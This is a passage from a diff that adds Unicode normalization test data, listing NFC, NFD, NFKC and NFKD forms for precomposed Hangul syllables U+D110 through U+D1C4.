+{ source: [0xD110], NFC: [0xD110], NFD: [0x1110, 0x1163, 0x11BF], NFKC: [0xD110], NFKD: [0x1110, 0x1163, 0x11BF] },
+{ source: [0xD111], NFC: [0xD111], NFD: [0x1110, 0x1163, 0x11C0], NFKC: [0xD111], NFKD: [0x1110, 0x1163, 0x11C0] },
+{ source: [0xD112], NFC: [0xD112], NFD: [0x1110, 0x1163, 0x11C1], NFKC: [0xD112], NFKD: [0x1110, 0x1163, 0x11C1] },
+{ source: [0xD113], NFC: [0xD113], NFD: [0x1110, 0x1163, 0x11C2], NFKC: [0xD113], NFKD: [0x1110, 0x1163, 0x11C2] },
+{ source: [0xD114], NFC: [0xD114], NFD: [0x1110, 0x1164], NFKC: [0xD114], NFKD: [0x1110, 0x1164] },
+{ source: [0xD115], NFC: [0xD115], NFD: [0x1110, 0x1164, 0x11A8], NFKC: [0xD115], NFKD: [0x1110, 0x1164, 0x11A8] },
+{ source: [0xD116], NFC: [0xD116], NFD: [0x1110, 0x1164, 0x11A9], NFKC: [0xD116], NFKD: [0x1110, 0x1164, 0x11A9] },
+{ source: [0xD117], NFC: [0xD117], NFD: [0x1110, 0x1164, 0x11AA], NFKC: [0xD117], NFKD: [0x1110, 0x1164, 0x11AA] },
+{ source: [0xD118], NFC: [0xD118], NFD: [0x1110, 0x1164, 0x11AB], NFKC: [0xD118], NFKD: [0x1110, 0x1164, 0x11AB] },
+{ source: [0xD119], NFC: [0xD119], NFD: [0x1110, 0x1164, 0x11AC], NFKC: [0xD119], NFKD: [0x1110, 0x1164, 0x11AC] },
+{ source: [0xD11A], NFC: [0xD11A], NFD: [0x1110, 0x1164, 0x11AD], NFKC: [0xD11A], NFKD: [0x1110, 0x1164, 0x11AD] },
+{ source: [0xD11B], NFC: [0xD11B], NFD: [0x1110, 0x1164, 0x11AE], NFKC: [0xD11B], NFKD: [0x1110, 0x1164, 0x11AE] },
+{ source: [0xD11C], NFC: [0xD11C], NFD: [0x1110, 0x1164, 0x11AF], NFKC: [0xD11C], NFKD: [0x1110, 0x1164, 0x11AF] },
+{ source: [0xD11D], NFC: [0xD11D], NFD: [0x1110, 0x1164, 0x11B0], NFKC: [0xD11D], NFKD: [0x1110, 0x1164, 0x11B0] },
+{ source: [0xD11E], NFC: [0xD11E], NFD: [0x1110, 0x1164, 0x11B1], NFKC: [0xD11E], NFKD: [0x1110, 0x1164, 0x11B1] },
+{ source: [0xD11F], NFC: [0xD11F], NFD: [0x1110, 0x1164, 0x11B2], NFKC: [0xD11F], NFKD: [0x1110, 0x1164, 0x11B2] },
+{ source: [0xD120], NFC: [0xD120], NFD: [0x1110, 0x1164, 0x11B3], NFKC: [0xD120], NFKD: [0x1110, 0x1164, 0x11B3] },
+{ source: [0xD121], NFC: [0xD121], NFD: [0x1110, 0x1164, 0x11B4], NFKC: [0xD121], NFKD: [0x1110, 0x1164, 0x11B4] },
+{ source: [0xD122], NFC: [0xD122], NFD: [0x1110, 0x1164, 0x11B5], NFKC: [0xD122], NFKD: [0x1110, 0x1164, 0x11B5] },
+{ source: [0xD123], NFC: [0xD123], NFD: [0x1110, 0x1164, 0x11B6], NFKC: [0xD123], NFKD: [0x1110, 0x1164, 0x11B6] },
+{ source: [0xD124], NFC: [0xD124], NFD: [0x1110, 0x1164, 0x11B7], NFKC: [0xD124], NFKD: [0x1110, 0x1164, 0x11B7] },
+{ source: [0xD125], NFC: [0xD125], NFD: [0x1110, 0x1164, 0x11B8], NFKC: [0xD125], NFKD: [0x1110, 0x1164, 0x11B8] },
+{ source: [0xD126], NFC: [0xD126], NFD: [0x1110, 0x1164, 0x11B9], NFKC: [0xD126], NFKD: [0x1110, 0x1164, 0x11B9] },
+{ source: [0xD127], NFC: [0xD127], NFD: [0x1110, 0x1164, 0x11BA], NFKC: [0xD127], NFKD: [0x1110, 0x1164, 0x11BA] },
+{ source: [0xD128], NFC: [0xD128], NFD: [0x1110, 0x1164, 0x11BB], NFKC: [0xD128], NFKD: [0x1110, 0x1164, 0x11BB] },
+{ source: [0xD129], NFC: [0xD129], NFD: [0x1110, 0x1164, 0x11BC], NFKC: [0xD129], NFKD: [0x1110, 0x1164, 0x11BC] },
+{ source: [0xD12A], NFC: [0xD12A], NFD: [0x1110, 0x1164, 0x11BD], NFKC: [0xD12A], NFKD: [0x1110, 0x1164, 0x11BD] },
+{ source: [0xD12B], NFC: [0xD12B], NFD: [0x1110, 0x1164, 0x11BE], NFKC: [0xD12B], NFKD: [0x1110, 0x1164, 0x11BE] },
+{ source: [0xD12C], NFC: [0xD12C], NFD: [0x1110, 0x1164, 0x11BF], NFKC: [0xD12C], NFKD: [0x1110, 0x1164, 0x11BF] },
+{ source: [0xD12D], NFC: [0xD12D], NFD: [0x1110, 0x1164, 0x11C0], NFKC: [0xD12D], NFKD: [0x1110, 0x1164, 0x11C0] },
+{ source: [0xD12E], NFC: [0xD12E], NFD: [0x1110, 0x1164, 0x11C1], NFKC: [0xD12E], NFKD: [0x1110, 0x1164, 0x11C1] },
+{ source: [0xD12F], NFC: [0xD12F], NFD: [0x1110, 0x1164, 0x11C2], NFKC: [0xD12F], NFKD: [0x1110, 0x1164, 0x11C2] },
+{ source: [0xD130], NFC: [0xD130], NFD: [0x1110, 0x1165], NFKC: [0xD130], NFKD: [0x1110, 0x1165] },
+{ source: [0xD131], NFC: [0xD131], NFD: [0x1110, 0x1165, 0x11A8], NFKC: [0xD131], NFKD: [0x1110, 0x1165, 0x11A8] },
+{ source: [0xD132], NFC: [0xD132], NFD: [0x1110, 0x1165, 0x11A9], NFKC: [0xD132], NFKD: [0x1110, 0x1165, 0x11A9] },
+{ source: [0xD133], NFC: [0xD133], NFD: [0x1110, 0x1165, 0x11AA], NFKC: [0xD133], NFKD: [0x1110, 0x1165, 0x11AA] },
+{ source: [0xD134], NFC: [0xD134], NFD: [0x1110, 0x1165, 0x11AB], NFKC: [0xD134], NFKD: [0x1110, 0x1165, 0x11AB] },
+{ source: [0xD135], NFC: [0xD135], NFD: [0x1110, 0x1165, 0x11AC], NFKC: [0xD135], NFKD: [0x1110, 0x1165, 0x11AC] },
+{ source: [0xD136], NFC: [0xD136], NFD: [0x1110, 0x1165, 0x11AD], NFKC: [0xD136], NFKD: [0x1110, 0x1165, 0x11AD] },
+{ source: [0xD137], NFC: [0xD137], NFD: [0x1110, 0x1165, 0x11AE], NFKC: [0xD137], NFKD: [0x1110, 0x1165, 0x11AE] },
+{ source: [0xD138], NFC: [0xD138], NFD: [0x1110, 0x1165, 0x11AF], NFKC: [0xD138], NFKD: [0x1110, 0x1165, 0x11AF] },
+{ source: [0xD139], NFC: [0xD139], NFD: [0x1110, 0x1165, 0x11B0], NFKC: [0xD139], NFKD: [0x1110, 0x1165, 0x11B0] },
+{ source: [0xD13A], NFC: [0xD13A], NFD: [0x1110, 0x1165, 0x11B1], NFKC: [0xD13A], NFKD: [0x1110, 0x1165, 0x11B1] },
+{ source: [0xD13B], NFC: [0xD13B], NFD: [0x1110, 0x1165, 0x11B2], NFKC: [0xD13B], NFKD: [0x1110, 0x1165, 0x11B2] },
+{ source: [0xD13C], NFC: [0xD13C], NFD: [0x1110, 0x1165, 0x11B3], NFKC: [0xD13C], NFKD: [0x1110, 0x1165, 0x11B3] },
+{ source: [0xD13D], NFC: [0xD13D], NFD: [0x1110, 0x1165, 0x11B4], NFKC: [0xD13D], NFKD: [0x1110, 0x1165, 0x11B4] },
+{ source: [0xD13E], NFC: [0xD13E], NFD: [0x1110, 0x1165, 0x11B5], NFKC: [0xD13E], NFKD: [0x1110, 0x1165, 0x11B5] },
+{ source: [0xD13F], NFC: [0xD13F], NFD: [0x1110, 0x1165, 0x11B6], NFKC: [0xD13F], NFKD: [0x1110, 0x1165, 0x11B6] },
+{ source: [0xD140], NFC: [0xD140], NFD: [0x1110, 0x1165, 0x11B7], NFKC: [0xD140], NFKD: [0x1110, 0x1165, 0x11B7] },
+{ source: [0xD141], NFC: [0xD141], NFD: [0x1110, 0x1165, 0x11B8], NFKC: [0xD141], NFKD: [0x1110, 0x1165, 0x11B8] },
+{ source: [0xD142], NFC: [0xD142], NFD: [0x1110, 0x1165, 0x11B9], NFKC: [0xD142], NFKD: [0x1110, 0x1165, 0x11B9] },
+{ source: [0xD143], NFC: [0xD143], NFD: [0x1110, 0x1165, 0x11BA], NFKC: [0xD143], NFKD: [0x1110, 0x1165, 0x11BA] },
+{ source: [0xD144], NFC: [0xD144], NFD: [0x1110, 0x1165, 0x11BB], NFKC: [0xD144], NFKD: [0x1110, 0x1165, 0x11BB] },
+{ source: [0xD145], NFC: [0xD145], NFD: [0x1110, 0x1165, 0x11BC], NFKC: [0xD145], NFKD: [0x1110, 0x1165, 0x11BC] },
+{ source: [0xD146], NFC: [0xD146], NFD: [0x1110, 0x1165, 0x11BD], NFKC: [0xD146], NFKD: [0x1110, 0x1165, 0x11BD] },
+{ source: [0xD147], NFC: [0xD147], NFD: [0x1110, 0x1165, 0x11BE], NFKC: [0xD147], NFKD: [0x1110, 0x1165, 0x11BE] },
+{ source: [0xD148], NFC: [0xD148], NFD: [0x1110, 0x1165, 0x11BF], NFKC: [0xD148], NFKD: [0x1110, 0x1165, 0x11BF] },
+{ source: [0xD149], NFC: [0xD149], NFD: [0x1110, 0x1165, 0x11C0], NFKC: [0xD149], NFKD: [0x1110, 0x1165, 0x11C0] },
+{ source: [0xD14A], NFC: [0xD14A], NFD: [0x1110, 0x1165, 0x11C1], NFKC: [0xD14A], NFKD: [0x1110, 0x1165, 0x11C1] },
+{ source: [0xD14B], NFC: [0xD14B], NFD: [0x1110, 0x1165, 0x11C2], NFKC: [0xD14B], NFKD: [0x1110, 0x1165, 0x11C2] },
+{ source: [0xD14C], NFC: [0xD14C], NFD: [0x1110, 0x1166], NFKC: [0xD14C], NFKD: [0x1110, 0x1166] },
+{ source: [0xD14D], NFC: [0xD14D], NFD: [0x1110, 0x1166, 0x11A8], NFKC: [0xD14D], NFKD: [0x1110, 0x1166, 0x11A8] },
+{ source: [0xD14E], NFC: [0xD14E], NFD: [0x1110, 0x1166, 0x11A9], NFKC: [0xD14E], NFKD: [0x1110, 0x1166, 0x11A9] },
+{ source: [0xD14F], NFC: [0xD14F], NFD: [0x1110, 0x1166, 0x11AA], NFKC: [0xD14F], NFKD: [0x1110, 0x1166, 0x11AA] },
+{ source: [0xD150], NFC: [0xD150], NFD: [0x1110, 0x1166, 0x11AB], NFKC: [0xD150], NFKD: [0x1110, 0x1166, 0x11AB] },
+{ source: [0xD151], NFC: [0xD151], NFD: [0x1110, 0x1166, 0x11AC], NFKC: [0xD151], NFKD: [0x1110, 0x1166, 0x11AC] },
+{ source: [0xD152], NFC: [0xD152], NFD: [0x1110, 0x1166, 0x11AD], NFKC: [0xD152], NFKD: [0x1110, 0x1166, 0x11AD] },
+{ source: [0xD153], NFC: [0xD153], NFD: [0x1110, 0x1166, 0x11AE], NFKC: [0xD153], NFKD: [0x1110, 0x1166, 0x11AE] },
+{ source: [0xD154], NFC: [0xD154], NFD: [0x1110, 0x1166, 0x11AF], NFKC: [0xD154], NFKD: [0x1110, 0x1166, 0x11AF] },
+{ source: [0xD155], NFC: [0xD155], NFD: [0x1110, 0x1166, 0x11B0], NFKC: [0xD155], NFKD: [0x1110, 0x1166, 0x11B0] },
+{ source: [0xD156], NFC: [0xD156], NFD: [0x1110, 0x1166, 0x11B1], NFKC: [0xD156], NFKD: [0x1110, 0x1166, 0x11B1] },
+{ source: [0xD157], NFC: [0xD157], NFD: [0x1110, 0x1166, 0x11B2], NFKC: [0xD157], NFKD: [0x1110, 0x1166, 0x11B2] },
+{ source: [0xD158], NFC: [0xD158], NFD: [0x1110, 0x1166, 0x11B3], NFKC: [0xD158], NFKD: [0x1110, 0x1166, 0x11B3] },
+{ source: [0xD159], NFC: [0xD159], NFD: [0x1110, 0x1166, 0x11B4], NFKC: [0xD159], NFKD: [0x1110, 0x1166, 0x11B4] },
+{ source: [0xD15A], NFC: [0xD15A], NFD: [0x1110, 0x1166, 0x11B5], NFKC: [0xD15A], NFKD: [0x1110, 0x1166, 0x11B5] },
+{ source: [0xD15B], NFC: [0xD15B], NFD: [0x1110, 0x1166, 0x11B6], NFKC: [0xD15B], NFKD: [0x1110, 0x1166, 0x11B6] },
+{ source: [0xD15C], NFC: [0xD15C], NFD: [0x1110, 0x1166, 0x11B7], NFKC: [0xD15C], NFKD: [0x1110, 0x1166, 0x11B7] },
+{ source: [0xD15D], NFC: [0xD15D], NFD: [0x1110, 0x1166, 0x11B8], NFKC: [0xD15D], NFKD: [0x1110, 0x1166, 0x11B8] },
+{ source: [0xD15E], NFC: [0xD15E], NFD: [0x1110, 0x1166, 0x11B9], NFKC: [0xD15E], NFKD: [0x1110, 0x1166, 0x11B9] },
+{ source: [0xD15F], NFC: [0xD15F], NFD: [0x1110, 0x1166, 0x11BA], NFKC: [0xD15F], NFKD: [0x1110, 0x1166, 0x11BA] },
+{ source: [0xD160], NFC: [0xD160], NFD: [0x1110, 0x1166, 0x11BB], NFKC: [0xD160], NFKD: [0x1110, 0x1166, 0x11BB] },
+{ source: [0xD161], NFC: [0xD161], NFD: [0x1110, 0x1166, 0x11BC], NFKC: [0xD161], NFKD: [0x1110, 0x1166, 0x11BC] },
+{ source: [0xD162], NFC: [0xD162], NFD: [0x1110, 0x1166, 0x11BD], NFKC: [0xD162], NFKD: [0x1110, 0x1166, 0x11BD] },
+{ source: [0xD163], NFC: [0xD163], NFD: [0x1110, 0x1166, 0x11BE], NFKC: [0xD163], NFKD: [0x1110, 0x1166, 0x11BE] },
+{ source: [0xD164], NFC: [0xD164], NFD: [0x1110, 0x1166, 0x11BF], NFKC: [0xD164], NFKD: [0x1110, 0x1166, 0x11BF] },
+{ source: [0xD165], NFC: [0xD165], NFD: [0x1110, 0x1166, 0x11C0], NFKC: [0xD165], NFKD: [0x1110, 0x1166, 0x11C0] },
+{ source: [0xD166], NFC: [0xD166], NFD: [0x1110, 0x1166, 0x11C1], NFKC: [0xD166], NFKD: [0x1110, 0x1166, 0x11C1] },
+{ source: [0xD167], NFC: [0xD167], NFD: [0x1110, 0x1166, 0x11C2], NFKC: [0xD167], NFKD: [0x1110, 0x1166, 0x11C2] },
+{ source: [0xD168], NFC: [0xD168], NFD: [0x1110, 0x1167], NFKC: [0xD168], NFKD: [0x1110, 0x1167] },
+{ source: [0xD169], NFC: [0xD169], NFD: [0x1110, 0x1167, 0x11A8], NFKC: [0xD169], NFKD: [0x1110, 0x1167, 0x11A8] },
+{ source: [0xD16A], NFC: [0xD16A], NFD: [0x1110, 0x1167, 0x11A9], NFKC: [0xD16A], NFKD: [0x1110, 0x1167, 0x11A9] },
+{ source: [0xD16B], NFC: [0xD16B], NFD: [0x1110, 0x1167, 0x11AA], NFKC: [0xD16B], NFKD: [0x1110, 0x1167, 0x11AA] },
+{ source: [0xD16C], NFC: [0xD16C], NFD: [0x1110, 0x1167, 0x11AB], NFKC: [0xD16C], NFKD: [0x1110, 0x1167, 0x11AB] },
+{ source: [0xD16D], NFC: [0xD16D], NFD: [0x1110, 0x1167, 0x11AC], NFKC: [0xD16D], NFKD: [0x1110, 0x1167, 0x11AC] },
+{ source: [0xD16E], NFC: [0xD16E], NFD: [0x1110, 0x1167, 0x11AD], NFKC: [0xD16E], NFKD: [0x1110, 0x1167, 0x11AD] },
+{ source: [0xD16F], NFC: [0xD16F], NFD: [0x1110, 0x1167, 0x11AE], NFKC: [0xD16F], NFKD: [0x1110, 0x1167, 0x11AE] },
+{ source: [0xD170], NFC: [0xD170], NFD: [0x1110, 0x1167, 0x11AF], NFKC: [0xD170], NFKD: [0x1110, 0x1167, 0x11AF] },
+{ source: [0xD171], NFC: [0xD171], NFD: [0x1110, 0x1167, 0x11B0], NFKC: [0xD171], NFKD: [0x1110, 0x1167, 0x11B0] },
+{ source: [0xD172], NFC: [0xD172], NFD: [0x1110, 0x1167, 0x11B1], NFKC: [0xD172], NFKD: [0x1110, 0x1167, 0x11B1] },
+{ source: [0xD173], NFC: [0xD173], NFD: [0x1110, 0x1167, 0x11B2], NFKC: [0xD173], NFKD: [0x1110, 0x1167, 0x11B2] },
+{ source: [0xD174], NFC: [0xD174], NFD: [0x1110, 0x1167, 0x11B3], NFKC: [0xD174], NFKD: [0x1110, 0x1167, 0x11B3] },
+{ source: [0xD175], NFC: [0xD175], NFD: [0x1110, 0x1167, 0x11B4], NFKC: [0xD175], NFKD: [0x1110, 0x1167, 0x11B4] },
+{ source: [0xD176], NFC: [0xD176], NFD: [0x1110, 0x1167, 0x11B5], NFKC: [0xD176], NFKD: [0x1110, 0x1167, 0x11B5] },
+{ source: [0xD177], NFC: [0xD177], NFD: [0x1110, 0x1167, 0x11B6], NFKC: [0xD177], NFKD: [0x1110, 0x1167, 0x11B6] },
+{ source: [0xD178], NFC: [0xD178], NFD: [0x1110, 0x1167, 0x11B7], NFKC: [0xD178], NFKD: [0x1110, 0x1167, 0x11B7] },
+{ source: [0xD179], NFC: [0xD179], NFD: [0x1110, 0x1167, 0x11B8], NFKC: [0xD179], NFKD: [0x1110, 0x1167, 0x11B8] },
+{ source: [0xD17A], NFC: [0xD17A], NFD: [0x1110, 0x1167, 0x11B9], NFKC: [0xD17A], NFKD: [0x1110, 0x1167, 0x11B9] },
+{ source: [0xD17B], NFC: [0xD17B], NFD: [0x1110, 0x1167, 0x11BA], NFKC: [0xD17B], NFKD: [0x1110, 0x1167, 0x11BA] },
+{ source: [0xD17C], NFC: [0xD17C], NFD: [0x1110, 0x1167, 0x11BB], NFKC: [0xD17C], NFKD: [0x1110, 0x1167, 0x11BB] },
+{ source: [0xD17D], NFC: [0xD17D], NFD: [0x1110, 0x1167, 0x11BC], NFKC: [0xD17D], NFKD: [0x1110, 0x1167, 0x11BC] },
+{ source: [0xD17E], NFC: [0xD17E], NFD: [0x1110, 0x1167, 0x11BD], NFKC: [0xD17E], NFKD: [0x1110, 0x1167, 0x11BD] },
+{ source: [0xD17F], NFC: [0xD17F], NFD: [0x1110, 0x1167, 0x11BE], NFKC: [0xD17F], NFKD: [0x1110, 0x1167, 0x11BE] },
+{ source: [0xD180], NFC: [0xD180], NFD: [0x1110, 0x1167, 0x11BF], NFKC: [0xD180], NFKD: [0x1110, 0x1167, 0x11BF] },
+{ source: [0xD181], NFC: [0xD181], NFD: [0x1110, 0x1167, 0x11C0], NFKC: [0xD181], NFKD: [0x1110, 0x1167, 0x11C0] },
+{ source: [0xD182], NFC: [0xD182], NFD: [0x1110, 0x1167, 0x11C1], NFKC: [0xD182], NFKD: [0x1110, 0x1167, 0x11C1] },
+{ source: [0xD183], NFC: [0xD183], NFD: [0x1110, 0x1167, 0x11C2], NFKC: [0xD183], NFKD: [0x1110, 0x1167, 0x11C2] },
+{ source: [0xD184], NFC: [0xD184], NFD: [0x1110, 0x1168], NFKC: [0xD184], NFKD: [0x1110, 0x1168] },
+{ source: [0xD185], NFC: [0xD185], NFD: [0x1110, 0x1168, 0x11A8], NFKC: [0xD185], NFKD: [0x1110, 0x1168, 0x11A8] },
+{ source: [0xD186], NFC: [0xD186], NFD: [0x1110, 0x1168, 0x11A9], NFKC: [0xD186], NFKD: [0x1110, 0x1168, 0x11A9] },
+{ source: [0xD187], NFC: [0xD187], NFD: [0x1110, 0x1168, 0x11AA], NFKC: [0xD187], NFKD: [0x1110, 0x1168, 0x11AA] },
+{ source: [0xD188], NFC: [0xD188], NFD: [0x1110, 0x1168, 0x11AB], NFKC: [0xD188], NFKD: [0x1110, 0x1168, 0x11AB] },
+{ source: [0xD189], NFC: [0xD189], NFD: [0x1110, 0x1168, 0x11AC], NFKC: [0xD189], NFKD: [0x1110, 0x1168, 0x11AC] },
+{ source: [0xD18A], NFC: [0xD18A], NFD: [0x1110, 0x1168, 0x11AD], NFKC: [0xD18A], NFKD: [0x1110, 0x1168, 0x11AD] },
+{ source: [0xD18B], NFC: [0xD18B], NFD: [0x1110, 0x1168, 0x11AE], NFKC: [0xD18B], NFKD: [0x1110, 0x1168, 0x11AE] },
+{ source: [0xD18C], NFC: [0xD18C], NFD: [0x1110, 0x1168, 0x11AF], NFKC: [0xD18C], NFKD: [0x1110, 0x1168, 0x11AF] },
+{ source: [0xD18D], NFC: [0xD18D], NFD: [0x1110, 0x1168, 0x11B0], NFKC: [0xD18D], NFKD: [0x1110, 0x1168, 0x11B0] },
+{ source: [0xD18E], NFC: [0xD18E], NFD: [0x1110, 0x1168, 0x11B1], NFKC: [0xD18E], NFKD: [0x1110, 0x1168, 0x11B1] },
+{ source: [0xD18F], NFC: [0xD18F], NFD: [0x1110, 0x1168, 0x11B2], NFKC: [0xD18F], NFKD: [0x1110, 0x1168, 0x11B2] },
+{ source: [0xD190], NFC: [0xD190], NFD: [0x1110, 0x1168, 0x11B3], NFKC: [0xD190], NFKD: [0x1110, 0x1168, 0x11B3] },
+{ source: [0xD191], NFC: [0xD191], NFD: [0x1110, 0x1168, 0x11B4], NFKC: [0xD191], NFKD: [0x1110, 0x1168, 0x11B4] },
+{ source: [0xD192], NFC: [0xD192], NFD: [0x1110, 0x1168, 0x11B5], NFKC: [0xD192], NFKD: [0x1110, 0x1168, 0x11B5] },
+{ source: [0xD193], NFC: [0xD193], NFD: [0x1110, 0x1168, 0x11B6], NFKC: [0xD193], NFKD: [0x1110, 0x1168, 0x11B6] },
+{ source: [0xD194], NFC: [0xD194], NFD: [0x1110, 0x1168, 0x11B7], NFKC: [0xD194], NFKD: [0x1110, 0x1168, 0x11B7] },
+{ source: [0xD195], NFC: [0xD195], NFD: [0x1110, 0x1168, 0x11B8], NFKC: [0xD195], NFKD: [0x1110, 0x1168, 0x11B8] },
+{ source: [0xD196], NFC: [0xD196], NFD: [0x1110, 0x1168, 0x11B9], NFKC: [0xD196], NFKD: [0x1110, 0x1168, 0x11B9] },
+{ source: [0xD197], NFC: [0xD197], NFD: [0x1110, 0x1168, 0x11BA], NFKC: [0xD197], NFKD: [0x1110, 0x1168, 0x11BA] },
+{ source: [0xD198], NFC: [0xD198], NFD: [0x1110, 0x1168, 0x11BB], NFKC: [0xD198], NFKD: [0x1110, 0x1168, 0x11BB] },
+{ source: [0xD199], NFC: [0xD199], NFD: [0x1110, 0x1168, 0x11BC], NFKC: [0xD199], NFKD: [0x1110, 0x1168, 0x11BC] },
+{ source: [0xD19A], NFC: [0xD19A], NFD: [0x1110, 0x1168, 0x11BD], NFKC: [0xD19A], NFKD: [0x1110, 0x1168, 0x11BD] },
+{ source: [0xD19B], NFC: [0xD19B], NFD: [0x1110, 0x1168, 0x11BE], NFKC: [0xD19B], NFKD: [0x1110, 0x1168, 0x11BE] },
+{ source: [0xD19C], NFC: [0xD19C], NFD: [0x1110, 0x1168, 0x11BF], NFKC: [0xD19C], NFKD: [0x1110, 0x1168, 0x11BF] },
+{ source: [0xD19D], NFC: [0xD19D], NFD: [0x1110, 0x1168, 0x11C0], NFKC: [0xD19D], NFKD: [0x1110, 0x1168, 0x11C0] },
+{ source: [0xD19E], NFC: [0xD19E], NFD: [0x1110, 0x1168, 0x11C1], NFKC: [0xD19E], NFKD: [0x1110, 0x1168, 0x11C1] },
+{ source: [0xD19F], NFC: [0xD19F], NFD: [0x1110, 0x1168, 0x11C2], NFKC: [0xD19F], NFKD: [0x1110, 0x1168, 0x11C2] },
+{ source: [0xD1A0], NFC: [0xD1A0], NFD: [0x1110, 0x1169], NFKC: [0xD1A0], NFKD: [0x1110, 0x1169] },
+{ source: [0xD1A1], NFC: [0xD1A1], NFD: [0x1110, 0x1169, 0x11A8], NFKC: [0xD1A1], NFKD: [0x1110, 0x1169, 0x11A8] },
+{ source: [0xD1A2], NFC: [0xD1A2], NFD: [0x1110, 0x1169, 0x11A9], NFKC: [0xD1A2], NFKD: [0x1110, 0x1169, 0x11A9] },
+{ source: [0xD1A3], NFC: [0xD1A3], NFD: [0x1110, 0x1169, 0x11AA], NFKC: [0xD1A3], NFKD: [0x1110, 0x1169, 0x11AA] },
+{ source: [0xD1A4], NFC: [0xD1A4], NFD: [0x1110, 0x1169, 0x11AB], NFKC: [0xD1A4], NFKD: [0x1110, 0x1169, 0x11AB] },
+{ source: [0xD1A5], NFC: [0xD1A5], NFD: [0x1110, 0x1169, 0x11AC], NFKC: [0xD1A5], NFKD: [0x1110, 0x1169, 0x11AC] },
+{ source: [0xD1A6], NFC: [0xD1A6], NFD: [0x1110, 0x1169, 0x11AD], NFKC: [0xD1A6], NFKD: [0x1110, 0x1169, 0x11AD] },
+{ source: [0xD1A7], NFC: [0xD1A7], NFD: [0x1110, 0x1169, 0x11AE], NFKC: [0xD1A7], NFKD: [0x1110, 0x1169, 0x11AE] },
+{ source: [0xD1A8], NFC: [0xD1A8], NFD: [0x1110, 0x1169, 0x11AF], NFKC: [0xD1A8], NFKD: [0x1110, 0x1169, 0x11AF] },
+{ source: [0xD1A9], NFC: [0xD1A9], NFD: [0x1110, 0x1169, 0x11B0], NFKC: [0xD1A9], NFKD: [0x1110, 0x1169, 0x11B0] },
+{ source: [0xD1AA], NFC: [0xD1AA], NFD: [0x1110, 0x1169, 0x11B1], NFKC: [0xD1AA], NFKD: [0x1110, 0x1169, 0x11B1] },
+{ source: [0xD1AB], NFC: [0xD1AB], NFD: [0x1110, 0x1169, 0x11B2], NFKC: [0xD1AB], NFKD: [0x1110, 0x1169, 0x11B2] },
+{ source: [0xD1AC], NFC: [0xD1AC], NFD: [0x1110, 0x1169, 0x11B3], NFKC: [0xD1AC], NFKD: [0x1110, 0x1169, 0x11B3] },
+{ source: [0xD1AD], NFC: [0xD1AD], NFD: [0x1110, 0x1169, 0x11B4], NFKC: [0xD1AD], NFKD: [0x1110, 0x1169, 0x11B4] },
+{ source: [0xD1AE], NFC: [0xD1AE], NFD: [0x1110, 0x1169, 0x11B5], NFKC: [0xD1AE], NFKD: [0x1110, 0x1169, 0x11B5] },
+{ source: [0xD1AF], NFC: [0xD1AF], NFD: [0x1110, 0x1169, 0x11B6], NFKC: [0xD1AF], NFKD: [0x1110, 0x1169, 0x11B6] },
+{ source: [0xD1B0], NFC: [0xD1B0], NFD: [0x1110, 0x1169, 0x11B7], NFKC: [0xD1B0], NFKD: [0x1110, 0x1169, 0x11B7] },
+{ source: [0xD1B1], NFC: [0xD1B1], NFD: [0x1110, 0x1169, 0x11B8], NFKC: [0xD1B1], NFKD: [0x1110, 0x1169, 0x11B8] },
+{ source: [0xD1B2], NFC: [0xD1B2], NFD: [0x1110, 0x1169, 0x11B9], NFKC: [0xD1B2], NFKD: [0x1110, 0x1169, 0x11B9] },
+{ source: [0xD1B3], NFC: [0xD1B3], NFD: [0x1110, 0x1169, 0x11BA], NFKC: [0xD1B3], NFKD: [0x1110, 0x1169, 0x11BA] },
+{ source: [0xD1B4], NFC: [0xD1B4], NFD: [0x1110, 0x1169, 0x11BB], NFKC: [0xD1B4], NFKD: [0x1110, 0x1169, 0x11BB] },
+{ source: [0xD1B5], NFC: [0xD1B5], NFD: [0x1110, 0x1169, 0x11BC], NFKC: [0xD1B5], NFKD: [0x1110, 0x1169, 0x11BC] },
+{ source: [0xD1B6], NFC: [0xD1B6], NFD: [0x1110, 0x1169, 0x11BD], NFKC: [0xD1B6], NFKD: [0x1110, 0x1169, 0x11BD] },
+{ source: [0xD1B7], NFC: [0xD1B7], NFD: [0x1110, 0x1169, 0x11BE], NFKC: [0xD1B7], NFKD: [0x1110, 0x1169, 0x11BE] },
+{ source: [0xD1B8], NFC: [0xD1B8], NFD: [0x1110, 0x1169, 0x11BF], NFKC: [0xD1B8], NFKD: [0x1110, 0x1169, 0x11BF] },
+{ source: [0xD1B9], NFC: [0xD1B9], NFD: [0x1110, 0x1169, 0x11C0], NFKC: [0xD1B9], NFKD: [0x1110, 0x1169, 0x11C0] },
+{ source: [0xD1BA], NFC: [0xD1BA], NFD: [0x1110, 0x1169, 0x11C1], NFKC: [0xD1BA], NFKD: [0x1110, 0x1169, 0x11C1] },
+{ source: [0xD1BB], NFC: [0xD1BB], NFD: [0x1110, 0x1169, 0x11C2], NFKC: [0xD1BB], NFKD: [0x1110, 0x1169, 0x11C2] },
+{ source: [0xD1BC], NFC: [0xD1BC], NFD: [0x1110, 0x116A], NFKC: [0xD1BC], NFKD: [0x1110, 0x116A] },
+{ source: [0xD1BD], NFC: [0xD1BD], NFD: [0x1110, 0x116A, 0x11A8], NFKC: [0xD1BD], NFKD: [0x1110, 0x116A, 0x11A8] },
+{ source: [0xD1BE], NFC: [0xD1BE], NFD: [0x1110, 0x116A, 0x11A9], NFKC: [0xD1BE], NFKD: [0x1110, 0x116A, 0x11A9] },
+{ source: [0xD1BF], NFC: [0xD1BF], NFD: [0x1110, 0x116A, 0x11AA], NFKC: [0xD1BF], NFKD: [0x1110, 0x116A, 0x11AA] },
+{ source: [0xD1C0], NFC: [0xD1C0], NFD: [0x1110, 0x116A, 0x11AB], NFKC: [0xD1C0], NFKD: [0x1110, 0x116A, 0x11AB] },
+{ source: [0xD1C1], NFC: [0xD1C1], NFD: [0x1110, 0x116A, 0x11AC], NFKC: [0xD1C1], NFKD: [0x1110, 0x116A, 0x11AC] },
+{ source: [0xD1C2], NFC: [0xD1C2], NFD: [0x1110, 0x116A, 0x11AD], NFKC: [0xD1C2], NFKD: [0x1110, 0x116A, 0x11AD] },
+{ source: [0xD1C3], NFC: [0xD1C3], NFD: [0x1110, 0x116A, 0x11AE], NFKC: [0xD1C3], NFKD: [0x1110, 0x116A, 0x11AE] },
+{ source: [0xD1C4], NFC: [0xD1C4], NFD: [0x1110, 0x116A, 0x11AF], NFKC: [0xD1C4], NFKD: [0x1110, 0x116A, 0x11AF] },
